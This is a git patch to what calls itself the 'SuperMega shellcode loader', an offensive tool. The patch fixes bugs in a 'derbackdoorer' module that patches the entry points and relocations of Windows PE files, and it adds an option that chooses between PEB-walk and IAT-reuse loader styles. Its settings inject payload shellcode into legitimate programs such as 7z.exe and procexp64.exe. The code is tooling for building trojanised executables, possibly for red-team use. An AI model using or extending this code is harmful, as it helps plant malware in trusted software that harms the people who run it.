From 87c0cc29448d81ec1ae47fcb608c7231a5e3609e Mon Sep 17 00:00:00 2001 From: Dobin Date: Wed, 28 Feb 2024 20:12:52 +0000 Subject: [PATCH] fix: peb_reuse bugs and similar --- derbackdoorer/derbackdoorer.py | 6 ++--- derbackdoorer/mype.py | 18 +++---------- model/defs.py | 4 +-- phases/templater.py | 4 +-- supermega.py | 48 ++++++++++++++-------------------- 5 files changed, 30 insertions(+), 50 deletions(-) diff --git a/derbackdoorer/derbackdoorer.py b/derbackdoorer/derbackdoorer.py index 75f9638..6845c4f 100644 --- a/derbackdoorer/derbackdoorer.py +++ b/derbackdoorer/derbackdoorer.py @@ -223,7 +223,7 @@ Trailing {sect_name} bytes: cs = None ks = None - if self.arch == 'x86': + if self.mype.arch == 'x86': cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_32 + capstone.CS_MODE_LITTLE_ENDIAN) ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_32 + keystone.KS_MODE_LITTLE_ENDIAN) else: @@ -247,7 +247,7 @@ Trailing {sect_name} bytes: output = self.mype.disasmBytes(cs, ks, disasmData, ep, 128, self.backdoorInstruction) # store offset... by calculating it first FUCK - section = self._get_code_section() + section = self.mype.get_code_section() self.backdoorOffsetRel = output - section.VirtualAddress if output != 0: @@ -274,7 +274,7 @@ Trailing {sect_name} bytes: registers = ['rax', 'rbx', 'rcx', 'rdx', 'rsi', 'rdi'] - if self.arch == 'x86': + if self.mype.arch == 'x86': registers = ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi'] reg = random.choice(registers).upper() diff --git a/derbackdoorer/mype.py b/derbackdoorer/mype.py index 54d43fa..7395ec2 100644 --- a/derbackdoorer/mype.py +++ b/derbackdoorer/mype.py @@ -84,23 +84,13 @@ class MyPe(): def addImageBaseRelocations(self, pageRva, relocs): - relocType = MyPe.IMAGE_REL_BASED_HIGHLOW - - if self.arch == 'x64': - relocType = MyPe.IMAGE_REL_BASED_DIR64 + assert pageRva > 0 if not self.pe.has_relocs(): logger.error("No .reloc section") raise(Exception("No .reloc section")) - else: - self.addRelocs(pageRva, relocs) - - - def addRelocs(self, pageRva, relocs): - assert pageRva > 0 imageBaseRelocType = MyPe.IMAGE_REL_BASED_HIGHLOW - if self.arch == 'x64': imageBaseRelocType = MyPe.IMAGE_REL_BASED_DIR64 @@ -128,7 +118,7 @@ class MyPe(): # SizeOfBlock self.pe.set_dword_at_rva(addr + relocsSize + 4, sizeOfReloc) - logger.debug(f'Adding {len(relocs)} relocations for Page RVA 0x{pageRva:x} - size of block: 0x{sizeOfReloc:x}') + logger.info(f'Adding {len(relocs)} relocations for Page RVA 0x{pageRva:x} - size of block: 0x{sizeOfReloc:x}') i = 0 for reloc in relocs: @@ -137,7 +127,7 @@ class MyPe(): relocWord = (reloc_type | reloc_offset) self.pe.set_word_at_rva(relocDirRva + relocsSize + 8 + i * 2, relocWord) - logger.debug(f'\tReloc{i} for addr 0x{reloc:x}: 0x{relocWord:x} - 0x{reloc_offset:x} - type: {imageBaseRelocType}') + logger.info(f'\tReloc{i} for addr 0x{reloc:x}: 0x{relocWord:x} - 0x{reloc_offset:x} - type: {imageBaseRelocType}') i += 1 @@ -174,7 +164,7 @@ class MyPe(): data = disasmData[startOffset:startOffset + length] for instr in cs.disasm(data, startOffset): - self._printInstr(instr, depth) + self.printInstr(instr, depth) if len(instr.operands) == 1: operand = instr.operands[0] diff --git a/model/defs.py b/model/defs.py index 0f9a3b6..73cc78a 100644 --- a/model/defs.py +++ b/model/defs.py @@ -30,8 +30,8 @@ class DataRefStyle(Enum): #class InjectStyle(Enum): class SourceStyle(Enum): - peb_walk = 1 - iat_reuse = 2 + peb_walk = "peb_walk" + iat_reuse = "iat_reuse" build_dir = "build" diff --git a/phases/templater.py b/phases/templater.py index cda8a0f..5025657 100644 --- a/phases/templater.py +++ b/phases/templater.py @@ -30,8 +30,8 @@ def create_c_from_template( plugin_executor = "" logger.info("--[ Create C from template") - logger.warn("---[ Loader modules = Alloc: {} Decoder: {} Exec: {}".format( - alloc_style.value, decoder_style.value, exec_style.value + logger.warn("---[ {} Loader modules = Alloc: {} Decoder: {} Exec: {}".format( + source_style.value, alloc_style.value, decoder_style.value, exec_style.value )) filepath = "plugins/allocator/{}.c".format(alloc_style.value) diff --git a/supermega.py b/supermega.py index e1a4c26..5aba47c 100644 --- a/supermega.py +++ b/supermega.py @@ -35,6 +35,7 @@ def main(): parser = argparse.ArgumentParser(description='SuperMega shellcode loader') parser.add_argument('--shellcode', type=str, help='The path to the file of your payload shellcode') parser.add_argument('--inject', type=str, help='The path to the file where we will inject ourselves in') + parser.add_argument('--sourcestyle', type=str, help='peb_walk or iat_reuse') parser.add_argument('--alloc', type=str, help='Template: which allocator plugin') parser.add_argument('--decoder', type=str, help='Template: which decoder plugin') parser.add_argument('--exec', type=str, help='Template: which exec plugin') @@ -60,17 +61,20 @@ def main(): settings.try_start_final_shellcode = False if args.verify == "peb": + settings.source_style = SourceStyle.peb_walk settings.inject = True settings.inject_mode = 2 settings.inject_exe_in = "exes/7z.exe" settings.inject_exe_out = "out/7z-verify.exe" elif args.verify == "iat": + settings.source_style = SourceStyle.iat_reuse settings.inject = True - settings.inject_mode = 1 # 2 + settings.inject_mode = 2 settings.inject_exe_in = "exes/procexp64.exe" settings.inject_exe_out = "out/procexp64-verify.exe" elif args.verify == "rwx": settings.inject = True + settings.source_style = SourceStyle.peb_walk settings.inject_mode = 1 # ,2 is broken atm settings.inject_exe_in = "exes/wifiinfoview.exe" settings.inject_exe_out = "out/wifiinfoview.exe-verify.exe" @@ -89,6 +93,12 @@ def main(): if args.short_call_patching: settings.short_call_patching = True + if args.sourcestyle: + if args.sourcestyle == "peb_walk": + settings.source_style = SourceStyle.peb_walk + elif args.sourcestyle == "iat_reuse": + settings.source_style = SourceStyle.iat_reuse + if args.alloc: if args.alloc == "rwx_1": settings.alloc_style = AllocStyle.RWX @@ -155,7 +165,7 @@ def start(settings: Settings): # Copy: IAT_REUSE loader C files into working directory: build/ phases.templater.create_c_from_template( - source_style = SourceStyle.iat_reuse, + source_style = settings.source_style, alloc_style = settings.alloc_style, exec_style = settings.exec_style, decoder_style= settings.decoder_style, @@ -170,34 +180,14 @@ def start(settings: Settings): carrier = project.carrier, short_call_patching = project.settings.short_call_patching) - # Decide if we can use IAT_REUSE (all function calls available as import) - if exehost_has_all_carrier_functions(project.carrier, project.exe_host): - settings.source_style = SourceStyle.iat_reuse + if settings.source_style == SourceStyle.iat_reuse: logger.warning("--[ SourceStyle: Using IAT_REUSE".format()) - # all good, patch ASM phases.compiler.fixup_iat_reuse(main_asm_file, project.carrier) observer.add_text("carrier_asm_updated", file_readall_text(main_asm_file)) - else: - # Not good, Fall back to PEB_WALK - settings.source_style = SourceStyle.peb_walk - logger.warning("--[ SourceStyle: Fall back to PEB_WALK".format()) - observer.clean_files() - clean_files() - # Copy: PEB_WALK loader C files into working directory: build/ - phases.templater.create_c_from_template( - source_style = SourceStyle.peb_walk, - alloc_style = settings.alloc_style, - exec_style = settings.exec_style, - decoder_style= settings.decoder_style, - payload_len = project.payload.len, - ) - # Compile: PEB_WALK C -> ASM - if settings.generate_asm_from_c: - phases.compiler.compile( - c_in = main_c_file, - asm_out = main_asm_file, - payload_len = project.payload.len) - observer.add_text("carrier_asm_updated", file_readall_text(main_asm_file)) + + if not exehost_has_all_carrier_functions(project.carrier, project.exe_host): + logger.error("Error: Not all carrier functions are available in the target exe") + return # Assemble: ASM -> Shellcode if settings.generate_shc_from_asm: @@ -266,15 +256,15 @@ def start(settings: Settings): project.carrier, project.exe_host) + # Just print, to verify code = extract_code_from_exe_file(settings.inject_exe_out) pe = pefile.PE(settings.inject_exe_out) ep = pe.OPTIONAL_HEADER.AddressOfEntryPoint ep_raw = get_physical_address(pe, ep) pe.close() - #print("Raw: {} / 0x{:x}".format( # ep_raw, ep_raw)) - observer.add_code("exe_fucking_final", + observer.add_code("exe_final", code[ep_raw:ep_raw+300])